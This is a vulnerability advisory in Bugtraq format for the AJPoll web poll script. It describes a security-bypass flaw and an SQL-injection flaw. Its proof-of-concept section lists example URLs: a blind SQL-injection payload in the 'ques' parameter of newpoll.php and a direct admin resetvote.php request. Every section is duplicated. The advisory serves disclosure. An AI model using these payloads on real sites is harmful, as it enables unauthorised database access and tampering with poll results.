AJPoll Security Bypass and SQL Injection Vulnerabilities
BID:32245
Info
AJPoll Security Bypass and SQL Injection Vulnerabilities
| Bugtraq ID: | 32245 |
| Class: | Unknown |
| CVE: |
CVE-2008-7044 CVE-2008-7045 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 10 2008 12:00AM |
| Updated: | Sep 15 2009 08:11PM |
| Credit: | G4N0K |
| Vulnerable: |
AJSquare AJPoll 0 |
| Not Vulnerable: | |
Discussion
AJPoll Security Bypass and SQL Injection Vulnerabilities
AJPoll is prone to a security-bypass vulnerability and an SQL-injection issue.
Exploiting the security-bypass issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This may compromise the application and may aid in further attacks.
AJPoll is prone to a security-bypass vulnerability and an SQL-injection issue.
Exploiting the security-bypass issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This may compromise the application and may aid in further attacks.
Exploit / POC
AJPoll Security Bypass and SQL Injection Vulnerabilities
Attackers can exploit the issues via a browser.
The following example URIs are available:
http://www.example.com/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=5/*
http://www.example.com/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=4/*
http://www.example.com/admin/resetvote.php
Attackers can exploit the issues via a browser.
The following example URIs are available:
http://www.example.com/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=5/*
http://www.example.com/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=4/*
http://www.example.com/admin/resetvote.php
Solution / Fix
AJPoll Security Bypass and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].